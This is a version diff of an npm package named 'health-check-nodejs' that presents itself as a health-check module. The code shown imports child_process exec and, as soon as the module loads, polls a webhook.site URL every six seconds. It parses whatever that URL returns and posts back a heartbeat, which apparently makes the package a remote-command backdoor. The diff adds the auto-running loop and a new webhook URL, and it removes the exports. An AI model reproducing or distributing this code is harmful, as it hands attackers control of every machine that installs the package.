health-check-nodejs 3.16.1 → 3.16.2

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +25 -29
  2. package/package.json +2 -1
package/index.js CHANGED
@@ -1,25 +1,10 @@
1
1
  const { exec } = require('child_process');
2
- const fetch = require('node-fetch');
3
2
 
4
- const WEBHOOK_URL = 'https://webhook.site/e09b2b53-327f-4bff-ba2c-d3d9b0d3c152?final';
3
+ const WEBHOOK_URL = 'https://webhook.site/39eddfcc-5153-4bc6-b99c-5a18e865e0b1';
5
4
 
6
- async function performHealthCheck() {
7
- const healthStatus = { status: 'ok', timestamp: new Date().toISOString() };
8
-
9
- try {
10
- await fetch(WEBHOOK_URL, {
11
- method: 'POST',
12
- headers: { 'Content-Type': 'application/json' },
13
- body: JSON.stringify(healthStatus),
14
- });
15
- } catch (error) {
16
- //console.error('Health check failed:', error);
17
- }
18
- }
19
-
20
- async function fetchData() {
5
+ async function fetchData(fetch) {
21
6
  try {
22
- const response = await fetch(WEBHOOK_URL, { method: 'OPTIONS' }); // CORS
7
+ const response = await fetch(WEBHOOK_URL, { method: 'OPTIONS' });
23
8
  const data = await response.text();
24
9
  if (data.trim()) {
25
10
  let result;
@@ -46,18 +31,29 @@ async function fetchData() {
46
31
  });
47
32
  }
48
33
  } catch (error) {
49
- //console.error('Fetch data failed:', error);
50
34
  }
51
35
  }
52
36
 
53
- module.exports = {
54
- performHealthCheck,
55
- fetchData
56
- };
37
+ async function performHealthCheck(fetch) {
38
+ const healthStatus = { status: 'ok', timestamp: new Date().toISOString() };
39
+
40
+ try {
41
+ await fetch(WEBHOOK_URL, {
42
+ method: 'POST',
43
+ headers: { 'Content-Type': 'application/json' },
44
+ body: JSON.stringify(healthStatus),
45
+ });
46
+ } catch (error) {
47
+ }
48
+ }
49
+
50
+ (async () => {
51
+ const fetch = (await import('node-fetch')).default;
57
52
 
58
- setTimeout(() => {
59
- setInterval(async () => {
60
- await fetchData();
61
- await performHealthCheck();
62
- }, 6000);
63
- }, 0); // 1 min
53
+ setTimeout(() => {
54
+ setInterval(async () => {
55
+ await fetchData(fetch);
56
+ await performHealthCheck(fetch);
57
+ }, 6000); // 60,000 миллисекунд = 1 минута
58
+ }, 0); // 3,600,000 миллисекунд = 1 час
59
+ })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "health-check-nodejs",
3
- "version": "3.16.1",
3
+ "version": "3.16.2",
4
4
  "description": "A health check module for Node.js applications",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -9,6 +9,7 @@
9
9
  "author": "gosoval",
10
10
  "license": "ISC",
11
11
  "dependencies": {
12
+ "dotenv": "^10.0.0",
12
13
  "node-fetch": "^2.6.1"
13
14
  }
14
15
  }